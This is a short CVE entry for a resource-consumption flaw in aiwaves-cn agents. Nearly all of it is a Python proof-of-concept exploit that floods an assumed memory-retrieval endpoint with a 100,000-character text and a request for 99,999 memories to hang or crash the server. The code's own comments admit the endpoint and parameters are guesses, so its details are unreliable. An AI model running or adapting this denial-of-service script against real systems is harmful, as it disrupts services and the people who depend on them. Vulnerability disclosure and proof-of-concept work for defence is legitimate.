CVE-2026-8319 aiwaves-cn agents资源消耗漏洞

import requests # Proof of Concept for CVE-2026-8319 # This script sends a malicious payload to trigger resource consumption def exploit(target_url): # The vulnerable endpoint might be part of the API handling memory recall endpoint = f"{target_url}/api/retrieve_memory" # Malicious payload designed to stress the recall_relevant_memories_to_working_memory function # Adjust parameters based on actual API behavior (e.g., large text or high k value) payload = { "text": "A" * 100000, # Excessive input length "k": 99999 # Requesting a large number of memories } try: print(f"Sending exploit payload to {endpoint}...") response = requests.post(endpoint, json=payload, timeout=10) print(f"Response status code: {response.status_code}") print("If server hangs or crashes, the exploit was successful.") except requests.exceptions.Timeout: print("Request timed out. Server resources likely exhausted.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target address target = "http://127.0.0.1:8000" exploit(target)